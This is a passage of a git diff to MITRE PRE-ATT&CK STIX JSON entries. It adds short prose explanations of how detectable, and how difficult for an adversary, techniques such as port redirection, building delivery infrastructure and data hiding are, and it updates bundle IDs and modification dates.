             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action.  Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb.json b/pre-attack/attack-pattern/attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb.json
index 4cd2bd5808..6740f9eec6 100644
--- a/pre-attack/attack-pattern/attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb.json
+++ b/pre-attack/attack-pattern/attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--baf03046-cd34-4758-bc87-b5172c126a7c",
+    "id": "bundle--75637cca-1e86-46cf-af51-701cc328e284",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify analyst level gaps",
-            "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33.json b/pre-attack/attack-pattern/attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33.json
index d3ff1d6e38..ec483ce606 100644
--- a/pre-attack/attack-pattern/attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33.json
+++ b/pre-attack/attack-pattern/attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7766515-2f72-497c-a11b-324fbbc0e869",
+    "id": "bundle--7bf6d406-3f79-45dd-8d1d-bd0254599ed7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Friend/Follow/Connect to targets of interest",
-            "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals.  Performing activities like typical users, but with specific intent in mind.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals.  Performing activities like typical users, but with specific intent in mind."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf.json b/pre-attack/attack-pattern/attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf.json
index 4db6211494..240df16186 100644
--- a/pre-attack/attack-pattern/attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf.json
+++ b/pre-attack/attack-pattern/attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72f16e03-eaa7-47a9-8528-6acd81b230bc",
+    "id": "bundle--4c4e7c2c-5fe0-4d6d-84bb-75a6336dd52a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Port redirector",
-            "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904.json b/pre-attack/attack-pattern/attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904.json
index f528c6b762..f5cd40b4ea 100644
--- a/pre-attack/attack-pattern/attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904.json
+++ b/pre-attack/attack-pattern/attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03d7d1e6-3c80-46fa-8aaa-b78ed8a3fc28",
+    "id": "bundle--0990f3dd-fec0-409c-bbe0-ce711bc3754c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Derive intelligence requirements",
-            "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs).  Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs).  Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3.json b/pre-attack/attack-pattern/attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3.json
index c97cee4495..23852a4997 100644
--- a/pre-attack/attack-pattern/attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3.json
+++ b/pre-attack/attack-pattern/attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f28a4179-0bb0-4780-a293-fc496d1c301d",
+    "id": "bundle--49f42bb8-9c18-4aa7-9dd5-eac05e09c752",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build and configure delivery systems",
-            "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81.json b/pre-attack/attack-pattern/attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81.json
index b08b158d61..fc98612ce5 100644
--- a/pre-attack/attack-pattern/attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81.json
+++ b/pre-attack/attack-pattern/attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a332127-3d2b-4dbb-856b-26b5eb62740d",
+    "id": "bundle--4d51b2c9-ffd1-40e5-8ae2-1d10f8b4d5a5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test physical access",
-            "description": "An  adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "An  adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd.json b/pre-attack/attack-pattern/attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd.json
index d8981e8770..4797b9c13c 100644
--- a/pre-attack/attack-pattern/attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd.json
+++ b/pre-attack/attack-pattern/attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8aded1f3-5316-4ce0-b2e3-1f2cfe12be47",
+    "id": "bundle--8d0c0f0f-b9d1-48eb-9022-78d5d74e3f58",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify technology usage patterns",
-            "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Physical observations, OSINT for remote access instructions, and other techniques are not detectable.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11.json b/pre-attack/attack-pattern/attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11.json
index 3c207f916d..4d86e58c71 100644
--- a/pre-attack/attack-pattern/attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11.json
+++ b/pre-attack/attack-pattern/attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9683294-180a-4b02-9a74-3e10f36d59c5",
+    "id": "bundle--740a7715-bf83-481f-ad6c-abc2deeb5978",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Acquire and/or use 3rd party software services",
-            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A wide variety of 3rd party software services  are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--1def484d-2343-470d-8925-88f45b5f9615.json b/pre-attack/attack-pattern/attack-pattern--1def484d-2343-470d-8925-88f45b5f9615.json
index 2d11ae1bc3..1fb78e18fc 100644
--- a/pre-attack/attack-pattern/attack-pattern--1def484d-2343-470d-8925-88f45b5f9615.json
+++ b/pre-attack/attack-pattern/attack-pattern--1def484d-2343-470d-8925-88f45b5f9615.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db7a231c-9e13-418f-b1c6-20a81a3e8345",
+    "id": "bundle--b4c1bbc7-678e-4c8a-bdb6-2f8a244aa485",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1def484d-2343-470d-8925-88f45b5f9615",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess vulnerability of 3rd party vendors",
-            "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners.  Target network would not know that their 3rd party partners were being used as a vector.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties.  Finding major partners would not be difficult.  Significantly easier with insider knowledge.  Vulnerability scanning the 3rd party networks is trivial.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "3rd parties would most likely not report network scans to their partners.  Target network would not know that their 3rd party partners were being used as a vector.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The difficult part is enumerating all 3rd parties.  Finding major partners would not be difficult.  Significantly easier with insider knowledge.  Vulnerability scanning the 3rd party networks is trivial."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f.json b/pre-attack/attack-pattern/attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f.json
index 35337fbeec..8db97c232b 100644
--- a/pre-attack/attack-pattern/attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f.json
+++ b/pre-attack/attack-pattern/attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a850a2e-3716-4b9e-a420-5713bf2eab37",
+    "id": "bundle--fd9ec9ea-015c-408f-a3ad-c522c9b63f4a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify business processes/tempo",
-            "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet.  If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation.  For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC).  Companies announce their annual shareholder meeting and their quarter phone calls with investors.  Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Current or previous employees may divulge information on the Internet.  If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation.  For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC).  Companies announce their annual shareholder meeting and their quarter phone calls with investors.  Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864.json b/pre-attack/attack-pattern/attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864.json
index 65d9760bf2..ca6711a8b5 100644
--- a/pre-attack/attack-pattern/attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864.json
+++ b/pre-attack/attack-pattern/attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5dbc535-cf60-449a-9b4a-cf5ec84ac7b3",
+    "id": "bundle--72a5168b-8c8a-4008-bec6-a77bd49cb80d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1ff8b824-5287-4583-ab6a-013bf36d4864",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Hiding",
-            "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: No",
+            "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d.json b/pre-attack/attack-pattern/attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d.json
index d47efaa6c0..a26001ec81 100644
--- a/pre-attack/attack-pattern/attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d.json
+++ b/pre-attack/attack-pattern/attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e2d4e40-9138-4b04-a4db-eb80c5fad667",
+    "id": "bundle--3fdf5195-b582-435d-a279-74f8d3b403bc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d",
